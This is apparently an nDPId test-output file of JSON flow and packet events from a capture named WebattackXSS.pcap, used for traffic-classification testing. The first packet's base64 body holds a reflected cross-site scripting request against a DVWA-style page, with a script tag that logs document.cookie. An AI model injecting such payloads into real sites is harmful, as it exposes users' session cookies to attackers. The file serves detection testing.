+01217{"flow_id":152,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2217,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347233,"pkt_ts_usec":220367,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9p7FAAD4GG96sEAABwKgKMtasAFAs20bb0\/I8YYAYATmSaQAAAQEICgE56zwD47x4R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdIUkhIVk9HR1JEQlJPMEVaWU05QlZBU1Q1WVoyVkxCMUFYWTA1QUdISUZPVkxCM1pSTCUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02952{"flow_id":152,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2218,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347233,"pkt_ts_usec":223402,"pkt_caplen":1929,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1929,"pkt_l4_len":1895,"pkt":"AMGxFOsxABm5CmnxCABFAAd7nIVAAEAGIAzAqAoyrBAAAQBQ1qzT8jxhLNtJJIAYAQd+WQAAAQEICgPjvLMBOes8SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjIwOjMzIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxMg0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Ye0\/jOBD\/G6T9Dj6fdMBKxHRXKx1sm1UfQJHKwbUFltVJkZu4rcGJg+208O1vnEcbniVbJFT8mMdvPOPxTD5t1v\/onLWH1+eHaGpCgc4vWr2TNsK7hFx9bRPSGXbQz+7wtIdqzh4aGMV9Q8jhPxjhqTHxASHz+dyZf3WkmpBhn9xbKTXLlg93dcrjBCbA7qfNT5v1VM99KCLdeEFGbX9\/P2PNyDfqU0YDGG5s1ENmKLIsu+wu4bMGbsvIsMjsDh9ihpGfzRrYsHtDrIjvyJ9SpZlpXAyPdv\/GiGQyN+qGG8Hcy0RETNERF9w8HKA+GwvmGxagtpJaowE3DA18xWPDowna\/jkY7KCDA9ShYYQKXsHQFRuhZhwL7lPDZYS2O5dXzR00qzm1PfS5w2ZMyDgEaJ\/rJFOcoxA8ukWKiQbW5kEwPWXMYGTAmtwIX2uMpoqNG9hxCPwFszm1qySkPHLSbfJcGoejKOT8x0M6YQSWHksa05klc9KNhQydWluGcENnNFvFSCv\/EZAbnf4\/BwXOjcZunWSUuedI7jo7HsngAfmCaut1GTKcuTTgM8SDBra+A4uYyr1e2rJCSusbdR5OniFJjdREyIl04miCERUQCCsctbQbsIK6Z6rtIXvguKSk\/dmeF9MgYEFmEBAkorDT7raE9G\/t0QiOZOSD6tsGnvMokHMHtlIcja3MEmcLF6zAQB+5y8FuF46tTiicsuDu5nsE8ghuX+LbJe3E0\/gN+U9JsXtSWqmmFi5cEq\/Qt6DB7sAOEYHrB4uo0yopI4lw1zjQWel+cwiPkUoMI2+gepkBuy37Hx1J5Vf0wFOB7J75VQCk9NhtyzCkUYBOohuWemQ9FL5W4yooUnpAMegfrad4zInzI4ar2uDAmQRsRZS8ix+7Rxwu94ld0WufTRILSYMqp5Nz5DAu0tma\/qGxgZerkotylvTeMj9RDLWb58N2t7keFH0neBUcKT3c6X97HxWsVqI3gsetklNKXE\/QoO2WXd5ZD9Wc0VuPV4JUsGD3CkZowLSNVnTSqZhen8q919qrBCRjwC7UM1CrnJ2ueRRWnCrp1yyrot6FQxU4FsXXB6DRVU9DFygGRqrHENZ8gtK7CNXlyudwSYZdWz9CfGRL1Y4D+Hk0livUlaiwe949h9sxltUU0ZFMzAo1CxrsNu3w447VFnor1S+JsNtLx08A5BXbo9rv9ULQlrDLQhA6Gbub67Z75UKwPq39TncBJXMtL5hLwmeLCtbzZcA8qhjN6+exVCGKaAjVOvBD2ZumuAb+EyPolqYSsB8fDvPatB7nFl9NqdnS6EEmKmX+UVTWUZyUi3+ci7a\/i\/q2TKSTUciBbEZFAtNBNs21kdjNmgpiUWZ4Y8XcLhNCorzVcKHy11Iw8PBke6vb73Yvz46P+51W\/2zv8Nf16X7rsjkYfrv+9eWy16o1f17vfWsed0+OzmD69Ve\/t7XzvSwhkH5iOy3Hl\/KWs53vi5YE4CiWumbp4fr0i3sKFz4NfxXS7LGCRbuXxwdE4zKubPOp84ZVzqmO054VQpTd2zAjqWd3NXjWW3jWSz0L7RhVE+hEMbxKNLrF7u\/LWkRxZXzA7UGVYpjyDqGtA3O9NvRXxhvkrWdFjG\/LW42TRc6c3\/KYBZymou2sbLkuLH8d2\/tlvI0nN9Of8EUy9mVon4fdMb1z0k8SL4J4B+O7NGc4qWDK1FIJb6p7Rl3WkWe3LNSLznWkoN\/NfosU9krKy\/OOLxhVi9v8Ul7UD9qw0LNvyYv5YZQYY\/vsPD9ccjZHcP3jRc6OZZzEXkEmo3aW9ZcfHQ6A4iLeRq+89jOQ6E1Bog3HHwAprSn+KhzREHK+hXawi1bCGkAy9NnHAtOpzJXQ7GlSwSeQtwUbQ\/6ss9C90EzZvHtQJzBDNAh5lLsQ5kVxgHr261JOAxKXFPCqn3QG+U7AtX0+gsKLrzp0LKV59LEldtf52hW\/9KyWEzCxD2f2XTD9Yuf+D41zJPaSFAAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2223,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":1,"flow_first_seen":1499347234469,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55024,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":156,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2223,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347234,"pkt_ts_usec":469555,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8vaZAAD4GCCqsEAABwKgKMtbwAFD38VHSAAAAAKACchBQUQAAAgQFtAQCCAoBOex0AAAAAAEDAwc="} +00445{"flow_id":156,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2224,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347234,"pkt_ts_usec":469712,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1vAPBPjT9\/FR06AScSCHigAAAgQFtAQCCAoD473qATnsdAEDAwc="} +00432{"flow_id":156,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2225,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347234,"pkt_ts_usec":470460,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vadAAD4GCDGsEAABwKgKMtbwAFD38VHTDwT41IAQAOUmkgAAAQEICgE57HQD473q"} +00433{"flow_id":153,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2229,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347234,"pkt_ts_usec":680102,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aT1AAD4GXJusEAABwKgKMta6AFA5aI6\/+WBPcYARAOVsJQAAAQEICgE57KkD47j7"} +00432{"flow_id":153,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2230,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347234,"pkt_ts_usec":680363,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA08W5AAEAG0mnAqAoyrBAAAQBQ1rr5YE9xOWiOwIARAONnAgAAAQEICgPjvh8BOeyp"} +00432{"flow_id":153,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2231,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347234,"pkt_ts_usec":681066,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aT5AAD4GXJqsEAABwKgKMta6AFA5aI7A+WBPcoAQAOVnAAAAAQEICgE57KkD474f"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2235,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":157,"flow_packet_id":1,"flow_first_seen":1499347235716,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55038,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":157,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2235,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347235,"pkt_ts_usec":716450,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8wLxAAD4GBRSsEAABwKgKMtb+AFAtaC0QAAAAAKACchA+VwAAAgQFtAQCCAoBOe2sAAAAAAEDAwc="} +00444{"flow_id":157,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2236,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347235,"pkt_ts_usec":716582,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1v760xqZLWgtEaAScSBmwwAAAgQFtAQCCAoD478iATntrAEDAwc="} +00432{"flow_id":157,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2237,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347235,"pkt_ts_usec":717314,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wL1AAD4GBRusEAABwKgKMtb+AFAtaC0R+tMamoAQAOUFywAAAQEICgE57awD478i"} +00432{"flow_id":154,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2241,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347236,"pkt_ts_usec":681265,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uy9AAD4GCqmsEAABwKgKMtbIAFCbKFPvZ5j3qYARAOUrhAAAAQEICgE57p0D47o6"} +00432{"flow_id":154,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2242,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347236,"pkt_ts_usec":681485,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0N7pAAEAGjB7AqAoyrBAAAQBQ1shnmPepmyhT8IARAOMlrAAAAQEICgPjwBMBOe6d"} +00432{"flow_id":154,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2243,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347236,"pkt_ts_usec":682228,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uzBAAD4GCqisEAABwKgKMtbIAFCbKFPwZ5j3qoAQAOUlqgAAAQEICgE57p0D48AT"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2253,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":158,"flow_packet_id":1,"flow_first_seen":1499347238260,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55064,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":158,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2253,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347238,"pkt_ts_usec":260432,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8N5lAAD4GjjesEAABwKgKMtcYAFCMG8exAAAAAKACchBCbAAAAgQFtAQCCAoBOfAoAAAAAAEDAwc="} +00444{"flow_id":158,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2254,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347238,"pkt_ts_usec":260538,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1xiQuLeAjBvHsqAScSA1kAAAAgQFtAQCCAoD48GeATnwKAEDAwc="} +00432{"flow_id":158,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2255,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347238,"pkt_ts_usec":261347,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0N5pAAD4Gjj6sEAABwKgKMtcYAFCMG8eykLi3gYAQAOXUlwAAAQEICgE58CgD48Ge"} +00432{"flow_id":155,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2259,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347238,"pkt_ts_usec":681516,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0FxFAAD4GrsesEAABwKgKMtbiAFBsKfw0ZFC+iYARAOXqHwAAAQEICgE58JED47yy"} +00432{"flow_id":155,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2260,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347238,"pkt_ts_usec":681730,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0fI5AAEAGR0rAqAoyrBAAAQBQ1uJkUL6JbCn8NYARAOPkywAAAQEICgPjwgcBOfCR"} +00432{"flow_id":155,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2261,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347238,"pkt_ts_usec":682299,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0FxJAAD4GrsasEAABwKgKMtbiAFBsKfw1ZFC+ioAQAOXkyQAAAQEICgE58JED48IH"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2265,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":159,"flow_packet_id":1,"flow_first_seen":1499347239517,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55078,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":159,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2265,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347239,"pkt_ts_usec":517421,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8d9VAAD4GTfusEAABwKgKMtcmAFDWiYa3AAAAAKACchA3sAAAAgQFtAQCCAoBOfFiAAAAAAEDAwc="} +00444{"flow_id":159,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2266,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347239,"pkt_ts_usec":517546,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1yYFUEfr1omGuKAScSAkmAAAAgQFtAQCCAoD48LYATnxYgEDAwc="} +00432{"flow_id":159,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2267,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347239,"pkt_ts_usec":518102,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0d9ZAAD4GTgKsEAABwKgKMtcmAFDWiYa4BVBH7IAQAOXDnwAAAQEICgE58WID48LY"} +00432{"flow_id":156,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2271,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347239,"pkt_ts_usec":681627,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vahAAD4GCDCsEAABwKgKMtbwAFD38VHTDwT41IARAOUhegAAAQEICgE58YsD473q"} +00433{"flow_id":156,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2272,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347239,"pkt_ts_usec":681844,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0O9VAAEAGiAPAqAoyrBAAAQBQ1vAPBPjU9\/FR1IARAOMcZAAAAQEICgPjwwEBOfGL"} +00432{"flow_id":156,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2273,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347239,"pkt_ts_usec":682509,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0valAAD4GCC+sEAABwKgKMtbwAFD38VHUDwT41YAQAOUcYgAAAQEICgE58YsD48MB"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2277,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":160,"flow_packet_id":1,"flow_first_seen":1499347240786,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55092,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":160,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2277,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347240,"pkt_ts_usec":786524,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8LjpAAD4Gl5asEAABwKgKMtc0AFB5mNylAAAAAKACchA9aAAAAgQFtAQCCAoBOfKfAAAAAAEDAwc="} +00444{"flow_id":160,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2278,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347240,"pkt_ts_usec":786650,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1zRt9KwCeZjcpqAScSBcVgAAAgQFtAQCCAoD48QWATnynwEDAwc="} +00432{"flow_id":160,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2279,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347240,"pkt_ts_usec":787208,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LjtAAD4Gl52sEAABwKgKMtc0AFB5mNymbfSsA4AQAOX7XAAAAQEICgE58qAD48QW"} +00433{"flow_id":157,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2283,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347241,"pkt_ts_usec":681820,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wL5AAD4GBRqsEAABwKgKMtb+AFAtaC0R+tMamoARAOX\/9gAAAQEICgE5838D478i"} +00433{"flow_id":157,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2284,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347241,"pkt_ts_usec":682043,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA03m9AAEAG5WjAqAoyrBAAAQBQ1v760xqaLWgtEoARAOP6IwAAAQEICgPjxPYBOfN\/"} +00432{"flow_id":157,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2285,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347241,"pkt_ts_usec":682595,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0wL9AAD4GBRmsEAABwKgKMtb+AFAtaC0S+tMam4AQAOX6IAAAAQEICgE584AD48T2"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2292,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":6,"flow_first_seen":1499347168302,"flow_last_seen":1499347173661,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54322,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2292,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":6,"flow_first_seen":1499347168302,"flow_last_seen":1499347173661,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54322,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2292,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":6,"flow_first_seen":1499347169573,"flow_last_seen":1499347174661,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54336,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2292,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":6,"flow_first_seen":1499347169573,"flow_last_seen":1499347174661,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54336,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 